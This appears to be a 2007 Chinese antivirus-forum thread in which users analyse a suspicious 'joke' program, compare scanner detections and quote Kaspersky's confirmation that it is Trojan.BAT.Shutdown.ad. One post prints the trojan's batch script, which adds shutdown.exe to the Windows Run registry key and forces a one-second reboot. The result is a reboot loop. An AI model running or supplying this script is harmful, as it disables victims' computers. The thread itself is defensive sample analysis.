可疑文件，大概是玩笑程序

显示全部楼层 · 发表于 2007-5-21 19:20:32

VT上主流杀软中只有蜘蛛报
没有HIPS没有运行
已上报给红伞

显示全部楼层 · 发表于 2007-5-21 19:22:42

意思意思

2007-05-21 19:22:26 创建文件
操作:阻止
进程路径:E:\123\123.exe
文件路径:C:\Documents and Settings\promised_2\Local Settings\Temp\6202640.bat

显示全部楼层 · 发表于 2007-5-21 19:26:29

Backdoor.PcShare.an

rising

显示全部楼层 · 发表于 2007-5-21 19:33:11

强制关机程序，竟然把shutdown.exe设为自动启动项

reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v shutdown /t REG_SZ /d "c:\\windows\system32\shutdown.exe" -r -t 1 /f
shutdown -r -t 1 -c "You are dead!"
Exit

复制代码

显示全部楼层 · 发表于 2007-5-21 19:34:55

shutdown -r -t 1 -c

汗，竟然把时间设为1秒，可恶哈

显示全部楼层 · 发表于 2007-5-21 19:37:58

[:27:] Filseclab16号的病毒库都报了，估计是属于老掉牙的东东了。

显示全部楼层 · 发表于 2007-5-21 19:38:43

费尔全杀

显示全部楼层 · 发表于 2007-5-21 19:42:28

费尔是报了，但是KIS621没有拦截，自然也没有报

显示全部楼层 · 发表于 2007-5-21 19:42:46

卡巴6失守

显示全部楼层 · 发表于 2007-5-21 20:41:25

有的是速度
Hello.
New malicious software was found in the attached file.
It's detection will be included in the next update as Trojan.BAT.Shutdown.ad. Thank you for your help.
-----------------
Regards, Yury Nesmachny
Virus Analyst, Kaspersky Lab.

Ph.: +7(495) 797-8700
E-mail: newvirus@kaspersky.com
http://www.kaspersky.com http://www.viruslist.com

> Attachment: 123.zip

可疑文件，大概是玩笑程序

本帖子中包含更多资源

本帖子中包含更多资源